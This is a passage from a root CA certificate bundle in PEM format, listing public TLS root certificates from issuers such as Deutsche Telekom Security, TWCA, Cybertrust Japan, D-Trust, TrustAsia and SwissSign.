MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBjMQswCQYDVQQG
EwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJU
ZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAyMDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMy
NzIzNTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJp
dHkgR21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9cUD/h3VC
KSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHVcp6R+SPWcHu79ZvB7JPP
GeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMAU6DksquDOFczJZSfvkgdmOGjup5czQRx
UX11eKvzWarE4GC+j4NSuHUaQTXtvPM6Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWo
l8hHD/BeEIvnHRz+sTugBTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9
FIS3R/qy8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73Jco4v
zLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg8qKrBC7m8kwOFjQg
rIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8rFEz0ciD0cmfHdRHNCk+y7AO+oML
KFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7S
WWO/gLCMk3PLNaaZlSJhZQNg+y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNV
HQ4EFgQUtqeXgj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2
p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQpGv7qHBFfLp+
sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm9S3ul0A8Yute1hTWjOKWi0Fp
kzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErwM807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy
/SKE8YXJN3nptT+/XOR0so8RYgDdGGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4
mZqTuXNnQkYRIer+CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtz
aL1txKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+w6jv/naa
oqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aKL4x35bcF7DvB7L6Gs4a8
wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+ljX273CXE2whJdV/LItM3z7gLfEdxquVeE
HVlNjM7IDiPCtyaaEBRx/pOyiriA8A4QntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0
o82bNSQ3+pCTE4FCxpgmdTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
-----END CERTIFICATE-----

TWCA CYBER Root CA
==================
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIQQAE0jMIAAAAAAAAAATzyxjANBgkqhkiG9w0BAQwFADBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwHhcNMjIxMTIyMDY1NDI5WhcNNDcxMTIyMTU1OTU5WjBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDG+Moe2Qkgfh1s
Ts6P40czRJzHyWmqOlt47nDSkvgEs1JSHWdyKKHfi12VCv7qze33Kc7wb3+szT3vsxxFavcokPFh
V8UMxKNQXd7UtcsZyoC5dc4pztKFIuwCY8xEMCDa6pFbVuYdHNWdZsc/34bKS1PE2Y2yHer43CdT
o0fhYcx9tbD47nORxc5zb87uEB8aBs/pJ2DFTxnk684iJkXXYJndzk834H/nY62wuFm40AZoNWDT
Nq5xQwTxaWV4fPMf88oon1oglWa0zbfuj3ikRRjpJi+NmykosaS3Om251Bw4ckVYsV7r8Cibt4LK
/c/WMw+f+5eesRycnupfXtuq3VTpMCEobY5583WSjCb+3MX2w7DfRFlDo7YDKPYIMKoNM+HvnKkH
IuNZW0CP2oi3aQiotyMuRAlZN1vH4xfyIutuOVLF3lSnmMlLIJXcRolftBL5hSmO68gnFSDAS9TM
fAxsNAwmmyYxpjyn9tnQS6Jk/zuZQXLB4HCX8SS7K8R0IrGsayIyJNN4KsDAoS/xUgXJP+92ZuJF
2A09rZXIx4kmyA+upwMu+8Ff+iDhcK2wZSA3M2Cw1a/XDBzCkHDXShi8fgGwsOsVHkQGzaRP6AzR
wyAQ4VRlnrZR0Bp2a0JaWHY06rc3Ga4udfmW5cFZ95RXKSWNOkyrTZpB0F8mAwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSdhWEUfMFib5do5E83
QOGt4A1WNzAdBgNVHQ4EFgQUnYVhFHzBYm+XaORPN0DhreANVjcwDQYJKoZIhvcNAQEMBQADggIB
AGSPesRiDrWIzLjHhg6hShbNcAu3p4ULs3a2D6f/CIsLJc+o1IN1KriWiLb73y0ttGlTITVX1olN
c79pj3CjYcya2x6a4CD4bLubIp1dhDGaLIrdaqHXKGnK/nZVekZn68xDiBaiA9a5F/gZbG0jAn/x
X9AKKSM70aoK7akXJlQKTcKlTfjF/biBzysseKNnTKkHmvPfXvt89YnNdJdhEGoHK4Fa0o635yDR
IG4kqIQnoVesqlVYL9zZyvpoBJ7tRCT5dEA7IzOrg1oYJkK2bVS1FmAwbLGg+LhBoF1JSdJlBTrq
/p1hvIbZv97Tujqxf36SNI7JAG7cmL3c7IAFrQI932XtCwP39xaEBDG6k5TY8hL4iuO/Qq+n1M0R
FxbIQh0UqEL20kCGoE8jypZFVmAGzbdVAaYBlGX+bgUJurSkquLvWL69J1bY73NxW0Qz8ppy6rBe
Pm6pUlvscG21h483XjyMnM7k8M4MZ0HMzvaAq07MTFb1wWFZk7Q+ptq4NxKfKjLji7gh7MMrZQzv
It6IKTtM1/r+t+FHvpw+PoP7UV31aPcuIYXcv/Fa4nzXxeSDwWrruoBa3lwtcHb4yOWHh8qgnaHl
IhInD0Q9HWzq1MKLL295q39QpsQZp6F6t5b5wR9iWqJDB0BeJsas7a5wFsWqynKKTbDPAYsDP27X
-----END CERTIFICATE-----

SecureSign Root CA12
====================
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUZvnHwa/swlG07VOX5uaCwysckBYwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExMjAeFw0yMDA0MDgwNTM2NDZaFw00MDA0MDgwNTM2NDZaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6OcE3
emhFKxS06+QT61d1I02PJC0W6K6OyX2kVzsqdiUzg2zqMoqUm048luT9Ub+ZyZN+v/mtp7JIKwcc
J/VMvHASd6SFVLX9kHrko+RRWAPNEHl57muTH2SOa2SroxPjcf59q5zdJ1M3s6oYwlkm7Fsf0uZl
fO+TvdhYXAvA42VvPMfKWeP+bl+sg779XSVOKik71gurFzJ4pOE+lEa+Ym6b3kaosRbnhW70CEBF
EaCeVESE99g2zvVQR9wsMJvuwPWW0v4JhscGWa5Pro4RmHvzC1KqYiaqId+OJTN5lxZJjfU+1Uef
NzFJM3IFTQy2VYzxV4+Kh9GtxRESOaCtAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBRXNPN0zwRL1SXm8UC2LEzZLemgrTANBgkqhkiG9w0BAQsFAAOC
AQEAPrvbFxbS8hQBICw4g0utvsqFepq2m2um4fylOqyttCg6r9cBg0krY6LdmmQOmFxv3Y67ilQi
LUoT865AQ9tPkbeGGuwAtEGBpE/6aouIs3YIcipJQMPTw4WJmBClnW8Zt7vPemVV2zfrPIpyMpce
mik+rY3moxtt9XUa5rBouVui7mlHJzWhhpmA8zNL4WukJsPvdFlseqJkth5Ew1DgDzk9qTPxpfPS
vWKErI4cqc1avTc7bgoitPQV55FYxTpE05Uo2cBl6XLK0A+9H7MV2anjpEcJnuDLN/v9vZfVvhga
aaI5gdka9at/yOPiZwud9AzqVN/Ssq+xIvEg37xEHA==
-----END CERTIFICATE-----

SecureSign Root CA14
====================
-----BEGIN CERTIFICATE-----
MIIFcjCCA1qgAwIBAgIUZNtaDCBO6Ncpd8hQJ6JaJ90t8sswDQYJKoZIhvcNAQEMBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExNDAeFw0yMDA0MDgwNzA2MTlaFw00NTA0MDgwNzA2MTlaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0nqh
1oq/FjHQmNE6lPxauG4iwWL3pwon71D2LrGeaBLwbCRjOfHw3xDG3rdSINVSW0KZnvOgvlIfX8xn
bacuUKLBl422+JX1sLrcneC+y9/3OPJH9aaakpUqYllQC6KxNedlsmGy6pJxaeQp8E+BgQQ8sqVb
1MWoWWd7VRxJq3qdwudzTe/NCcLEVxLbAQ4jeQkHO6Lo/IrPj8BGJJw4J+CDnRugv3gVEOuGTgpa
/d/aLIJ+7sr2KeH6caH3iGicnPCNvg9JkdjqOvn90Ghx2+m1K06Ckm9mH+Dw3EzsytHqunQG+bOE
kJTRX45zGRBdAuVwpcAQ0BB8b8VYSbSwbprafZX1zNoCr7gsfXmPvkPx+SgojQlD+Ajda8iLLCSx
jVIHvXiby8posqTdDEx5YMaZ0ZPxMBoH064iwurO8YQJzOAUbn8/ftKChazcqRZOhaBgy/ac18iz
ju3Gm5h1DVXoX+WViwKkrkMpKBGk5hIwAUt1ax5mnXkvpXYvHUC0bcl9eQjs0Wq2XSqypWa9a4X0
dFbD9ed1Uigspf9mR6XU/v6eVL9lfgHWMI+lNpyiUBzuOIABSMbHdPTGrMNASRZhdCyvjG817XsY
AFs2PJxQDcqSMxDxJklt33UkN4Ii1+iW/RVLApY+B3KVfqs9TC7XyvDf4Fg/LS8EmjijAQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUBpOjCl4oaTeq
YR3r6/wtbyPk86AwDQYJKoZIhvcNAQEMBQADggIBAJaAcgkGfpzMkwQWu6A6jZJOtxEaCnFxEM0E
rX+lRVAQZk5KQaID2RFPeje5S+LGjzJmdSX7684/AykmjbgWHfYfM25I5uj4V7Ibed87hwriZLoA
ymzvftAj63iP/2SbNDefNWWipAA9EiOWWF3KY4fGoweITedpdopTzfFP7ELyk+OZpDc8h7hi2/Ds
Hzc/N19DzFGdtfCXwreFamgLRB7lUe6TzktuhsHSDCRZNhqfLJGP4xjblJUK7ZGqDpncllPjYYPG
FrojutzdfhrGe0K22VoF3Jpf1d+42kd92jjbrDnVHmtsKheMYc2xbXIBw8MgAGJoFjHVdqqGuw6q
nsb58Nn4DSEC5MUoFlkRudlpcyqSeLiSV5sI8jrlL5WwWLdrIBRtFO8KvH7YVdiI2i/6GaX7i+B/
OfVyK4XELKzvGUWSTLNhB9xNH27SgRNcmvMSZ4PPmz+Ln52kuaiWA3rF7iDeM9ovnhp6dB7h7sxa
OgTdsxoEqBRjrLdHEoOabPXm6RUVkRqEGQ6UROcSjiVbgGcZ3GOTEAtlLor6CZpO2oYofaphNdgO
pygau1LgePhsumywbrmHXumZNTfxPWQrqaA0k89jL9WB365jJ6UeTo3cKXhZ+PmhIIynJkBugnLN
eLLIjzwec+fBH7/PzqUqm9tEZDKgu39cJRNItX+S
-----END CERTIFICATE-----

SecureSign Root CA15
====================
-----BEGIN CERTIFICATE-----
MIICIzCCAamgAwIBAgIUFhXHw9hJp75pDIqI7fBw+d23PocwCgYIKoZIzj0EAwMwUTELMAkGA1UE
BhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRTZWN1
cmVTaWduIFJvb3QgQ0ExNTAeFw0yMDA0MDgwODMyNTZaFw00NTA0MDgwODMyNTZaMFExCzAJBgNV
BAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2Vj
dXJlU2lnbiBSb290IENBMTUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQLUHSNZDKZmbPSYAi4Io5G
dCx4wCtELW1fHcmuS1Iggz24FG1Th2CeX2yF2wYUleDHKP+dX+Sq8bOLbe1PL0vJSpSRZHX+AezB
2Ot6lHhWGENfa4HL9rzatAy2KZMIaY+jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
AgEGMB0GA1UdDgQWBBTrQciu/NWeUUj1vYv0hyCTQSvT9DAKBggqhkjOPQQDAwNoADBlAjEA2S6J
fl5OpBEHvVnCB96rMjhTKkZEBhd6zlHp4P9mLQlO4E/0BdGF9jVg3PVys0Z9AjBEmEYagoUeYWmJ
SwdLZrWeqrqgHkHZAXQ6bkU6iYAZezKYVWOr62Nuk22rGwlgMU4=
-----END CERTIFICATE-----

D-TRUST BR Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUwOTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCT
cfKri3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNEgXtRr90z
sWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8k12b9py0i4a6Ibn08OhZ
WiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCTRphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6
++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LUL
QyReS2tNZ9/WtT5PeB+UcSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIv
x9gvdhFP/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bSuREV
MweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+0bpwHJwh5Q8xaRfX
/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4NDfTisl01gLmB1IRpkQLLddCNxbU9
CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUZ5Dw1t61GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tIFoE9c+CeJyrr
d6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67nriv6uvw8l5VAk1/DLQOj7aRv
U9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTRVFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4
nj8+AybmTNudX0KEPUUDAxxZiMrcLmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdij
YQ6qgYF/6FKC0ULn4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff
/vtDhQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsGkoHU6XCP
pz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46ls/pdu4D58JDUjxqgejB
WoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aSEcr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/
5usWDiJFAbzdNpQ0qTUmiteXue4Icr80knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jt
n/mtd+ArY0+ew+43u3gJhJ65bvspmZDogNOfJA==
-----END CERTIFICATE-----

TrustAsia TLS ECC Root CA
=========================
-----BEGIN CERTIFICATE-----
MIICMTCCAbegAwIBAgIUNnThTXxlE8msg1UloD5Sfi9QaMcwCgYIKoZIzj0EAwMwWDELMAkGA1UE
BhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xIjAgBgNVBAMTGVRy
dXN0QXNpYSBUTFMgRUNDIFJvb3QgQ0EwHhcNMjQwNTE1MDU0MTU2WhcNNDQwNTE1MDU0MTU1WjBY
MQswCQYDVQQGEwJDTjElMCMGA1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAG
A1UEAxMZVHJ1c3RBc2lhIFRMUyBFQ0MgUm9vdCBDQTB2MBAGByqGSM49AgEGBSuBBAAiA2IABLh/
pVs/AT598IhtrimY4ZtcU5nb9wj/1WrgjstEpvDBjL1P1M7UiFPoXlfXTr4sP/MSpwDpguMqWzJ8
S5sUKZ74LYO1644xST0mYekdcouJtgq7nDM1D9rs3qlKH8kzsaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQULIVTu7FDzTLqnqOH/qKYqKaT6RAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49
BAMDA2gAMGUCMFRH18MtYYZI9HlaVQ01L18N9mdsd0AaRuf4aFtOJx24mH1/k78ITcTaRTChD15K
eAIxAKORh/IRM4PDwYqROkwrULG9IpRdNYlzg8WbGf60oenUoWa2AaU2+dhoYSi3dOGiMQ==
-----END CERTIFICATE-----

TrustAsia TLS RSA Root CA
=========================
-----BEGIN CERTIFICATE-----
MIIFgDCCA2igAwIBAgIUHBjYz+VTPyI1RlNUJDxsR9FcSpwwDQYJKoZIhvcNAQEMBQAwWDELMAkG
A1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xIjAgBgNVBAMT
GVRydXN0QXNpYSBUTFMgUlNBIFJvb3QgQ0EwHhcNMjQwNTE1MDU0MTU3WhcNNDQwNTE1MDU0MTU2
WjBYMQswCQYDVQQGEwJDTjElMCMGA1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEi
MCAGA1UEAxMZVHJ1c3RBc2lhIFRMUyBSU0EgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMMWuBtqpERz5dZO9LnPWwvB0ZqB9WOwj0PBuwhaGnrhB3YmH49pVr7+NmDQDIPN
lOrnxS1cLwUWAp4KqC/lYCZUlviYQB2srp10Zy9U+5RjmOMmSoPGlbYJQ1DNDX3eRA5gEk9bNb2/
mThtfWza4mhzH/kxpRkQcwUqwzIZheo0qt1CHjCNP561HmHVb70AcnKtEj+qpklz8oYVlQwQX1Fk
zv93uMltrOXVmPGZLmzjyUT5tUMnCE32ft5EebuyjBza00tsLtbDeLdM1aTk2tyKjg7/D8OmYCYo
zza/+lcK7Fs/6TAWe8TbxNRkoDD75f0dcZLdKY9BWN4ArTr9PXwaqLEX8E40eFgl1oUh63kd0Nyr
z2I8sMeXi9bQn9P+PN7F4/w6g3CEIR0JwqH8uyghZVNgepBtljhb//HXeltt08lwSUq6HTrQUNoy
IBnkiz/r1RYmNzz7dZ6wB3C4FGB33PYPXFIKvF1tjVEK2sUYyJtt3LCDs3+jTnhMmCWr8n4uIF6C
FabW2I+s5c0yhsj55NqJ4js+k8UTav/H9xj8Z7XvGCxUq0DTbE3txci3OE9kxJRMT6DNrqXGJyV1
J23G2pyOsAWZ1SgRxSHUuPzHlqtKZFlhaxP8S8ySpg+kUb8OWJDZgoM5pl+z+m6Ss80zDoWo8SnT
q1mt1tve1CuBAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFLgHkXlcBvRG/XtZ
ylomkadFK/hTMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQwFAAOCAgEAIZtqBSBdGBanEqT3
Rz/NyjuujsCCztxIJXgXbODgcMTWltnZ9r96nBO7U5WS/8+S4PPFJzVXqDuiGev4iqME3mmL5Dw8
veWv0BIb5Ylrc5tvJQJLkIKvQMKtuppgJFqBTQUYo+IzeXoLH5Pt7DlK9RME7I10nYEKqG/odv6L
TytpEoYKNDbdgptvT+Bz3Ul/KD7JO6NXBNiT2Twp2xIQaOHEibgGIOcberyxk2GaGUARtWqFVwHx
tlotJnMnlvm5P1vQiJ3koP26TpUJg3933FEFlJ0gcXax7PqJtZwuhfG5WyRasQmr2soaB82G39tp
27RIGAAtvKLEiUUjpQ7hRGU+isFqMB3iYPg6qocJQrmBktwliJiJ8Xw18WLK7nn4GS/+X/jbh87q
qA8MpugLoDzga5SYnH+tBuYc6kIQX+ImFTw3OffXvO645e8D7r0i+yiGNFjEWn9hongPXvPKnbwb
PKfILfanIhHKA9jnZwqKDss1jjQ52MjqjZ9k4DewbNfFj8GQYSbbJIweSsCI3zWQzj8C9GRh3sfI
B5XeMhg6j6JCQCTl1jNdfK7vsU1P1FeQNWrcrgSXSYk0ly4wBOeY99sLAZDBHwo/+ML+TvrbmnNz
FrwFuHnYWa8G5z9nODmxfKuU4CkUpijy323imttUQ/hHWKNddBWcwauwxzQ=
-----END CERTIFICATE-----

D-TRUST EV Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUwOTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1
sJkKF8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE7CUXFId/
MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFeEMbsh2aJgWi6zCudR3Mf
vc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6lHPTGGkKSv/BAQP/eX+1SH977ugpbzZM
lWGG2Pmic4ruri+W7mjNPU0oQvlFKzIbRlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3
YG14C8qKXO0elg6DpkiVjTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq910
7PncjLgcjmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZxTnXo
nMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+ARZZaBhDM7DS3LAa
QzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nkhbDhezGdpn9yo7nELC7MmVcOIQxF
AZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knFNXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUqvyREBuHkV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14QvBukEdHjqOS
Mo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4pZt+UPJ26oUFKidBK7GB0aL2
QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xD
UmPBEcrCRbH0O1P1aa4846XerOhUt7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V
4U/M5d40VxDJI3IXcI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuo
dNv8ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT2vFp4LJi
TZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs7dpn1mKmS00PaaLJvOwi
S5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNPgofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/
HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAstNl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L
+KIkBI3Y4WNeApI02phhXBxvWHZks/wCuPWdCg==
-----END CERTIFICATE-----

SwissSign RSA TLS Root CA 2022 - 1
==================================
-----BEGIN CERTIFICATE-----
MIIFkzCCA3ugAwIBAgIUQ/oMX04bgBhE79G0TzUfRPSA7cswDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzErMCkGA1UEAxMiU3dpc3NTaWduIFJTQSBU
TFMgUm9vdCBDQSAyMDIyIC0gMTAeFw0yMjA2MDgxMTA4MjJaFw00NzA2MDgxMTA4MjJaMFExCzAJ
BgNVBAYTAkNIMRUwEwYDVQQKEwxTd2lzc1NpZ24gQUcxKzApBgNVBAMTIlN3aXNzU2lnbiBSU0Eg
VExTIFJvb3QgQ0EgMjAyMiAtIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDLKmji
C8NXvDVjvHClO/OMPE5Xlm7DTjak9gLKHqquuN6orx122ro10JFwB9+zBvKK8i5VUXu7LCTLf5Im
gKO0lPaCoaTo+nUdWfMHamFk4saMla+ju45vVs9xzF6BYQ1t8qsCLqSX5XH8irCRIFucdFJtrhUn
WXjyCcplDn/L9Ovn3KlMd/YrFgSVrpxxpT8q2kFC5zyEEPThPYxr4iuRR1VPuFa+Rd4iUU1OKNlf
GUEGjw5NBuBwQCMBauTLE5tzrE0USJIt/m2n+IdreXXhvhCxqohAWVTXz8TQm0SzOGlkjIHRI36q
OTw7D59Ke4LKa2/KIj4x0LDQKhySio/YGZxH5D4MucLNvkEM+KRHBdvBFzA4OmnczcNpI/2aDwLO
EGrOyvi5KaM2iYauC8BPY7kGWUleDsFpswrzd34unYyzJ5jSmY0lpx+Gs6ZUcDj8fV3oT4MM0ZPl
